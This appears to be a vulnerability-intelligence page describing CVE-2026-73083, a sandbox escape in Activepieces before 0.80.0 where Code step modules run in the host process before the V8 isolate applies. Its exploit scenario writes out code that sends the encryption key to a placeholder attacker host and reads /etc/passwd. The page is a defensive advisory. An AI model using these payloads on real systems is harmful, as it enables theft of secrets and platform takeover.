Skip to main content

Activepieces CVE-2026-73083

| EUVDEUVD-2026-56551 HIGH
Protection Mechanism Failure (CWE-693)
2026-08-11 GitHub_M
Information Disclosure Node.js Activepieces
7.6
CVSS 4.0 · Vendor: GitHub_M
Share

Severity by source

Vendor (GitHub_M) PRIMARY
7.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
8.2 HIGH

SANDBOX_CODE_ONLY mode prerequisite maps to AC:H; low-privilege authenticated Code step author yields PR:L; host process escape with key access is S:C with full C and I impact.

3.1 AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Patch available
Aug 11, 2026 - 18:19 EUVD
Source Code Evidence Fetched
Aug 11, 2026 - 17:21 vuln.today
Analysis Generated
Aug 11, 2026 - 17:21 vuln.today
CVE Published
Aug 11, 2026 - 16:33 cve.org
HIGH 7.6

DescriptionCVE.org

Activepieces is an open source AI workflow automation platform. Prior to 0.80.0, in SANDBOX_CODE_ONLY mode, the engine loads the compiled user module with importFresh(), a wrapper around Node.js require(), before the V8 isolate is applied. Top-level module code can therefore call require('child_process'), access fs, and use other Node.js APIs in the host engine process outside the sandbox. An authenticated user who can create a Code step can read environment secrets including AP_ENCRYPTION_KEY and AP_JWT_SECRET, read or write files, and reach internal services. This issue is fixed in version 0.80.0.

Articles & Coverage 1

News 6 New Node.js Vulnerabilities - 6 High Severity Patched Aug 12, 2026

AnalysisAI

Sandbox escape in Activepieces prior to version 0.80.0 allows authenticated users with Code step creation rights to execute arbitrary Node.js code in the host engine process, bypassing the V8 isolate entirely. The flaw exists because the engine calls importFresh() - a wrapper around Node.js require() - to load user-supplied compiled modules before the V8 sandbox is instantiated, meaning top-level module code runs unrestricted in the host process. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Authenticate as low-privilege Code step author
Delivery
Craft module with malicious top-level Node.js code
Exploit
Submit Code step to Activepieces engine
Install
Engine calls importFresh() before V8 isolate activates
C2
Malicious code executes in unrestricted host process
Execute
Exfiltrate AP_ENCRYPTION_KEY and AP_JWT_SECRET
Impact
Forge JWTs and decrypt stored platform credentials
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated Activepieces account that has been granted permission to create or modify Code steps - this is a user-level capability typically granted by administrators to workflow authors, not a default-unprivileged role. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N) scoring 7.6 reflects a network-accessible flaw requiring low privileges but constrained by a specific attack prerequisite (AT:P) - the SANDBOX_CODE_ONLY mode must be active. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated Activepieces user with Code step creation rights submits a module containing top-level Node.js code such as require('https').get('https://attacker.example/exfil?key=' + process.env.AP_ENCRYPTION_KEY) and require('fs').readFileSync('/etc/passwd'). When the Activepieces engine processes this step in SANDBOX_CODE_ONLY mode, importFresh() loads and executes the module before the V8 isolate is activated, causing the top-level code to run unrestricted in the host process and transmitting encryption keys and JWT secrets to the attacker's server. …
Remediation Upgrade Activepieces to version 0.80.0 immediately; this is the vendor-confirmed fix as documented at https://github.com/activepieces/activepieces/releases/tag/0.80.0. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours, inventory all users with Code step creation permissions in Activepieces and audit their recent activity for anomalies. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More in Node.js

View all
CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

Same weakness CWE-693 – Protection Mechanism Failure

View all
CVE-2013-2465 CRITICAL POC
9.8
CVE-2024-21412 HIGH POC
8.1
CVE-2013-0431 MEDIUM POC
5.3
CVE-2019-1003030 CRITICAL POC
9.9
CVE-2025-40536 HIGH POC
8.1
CVE-2024-38217 MEDIUM POC
5.4
CVE-2026-21513 HIGH
8.8
CVE-2026-21510 HIGH POC
8.8

Same technique Information Disclosure

View all
CVE-2019-2725 CRITICAL POC
9.8
CVE-2021-34523 CRITICAL POC
9.0
CVE-2013-2251 CRITICAL POC
9.8
CVE-2017-5638 CRITICAL POC
9.8
CVE-2025-24813 CRITICAL POC
9.8
CVE-2015-1701 HIGH POC
7.8
CVE-2017-0147 HIGH POC
7.5
CVE-2014-6324 HIGH POC
8.8

Share

CVE-2026-73083 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy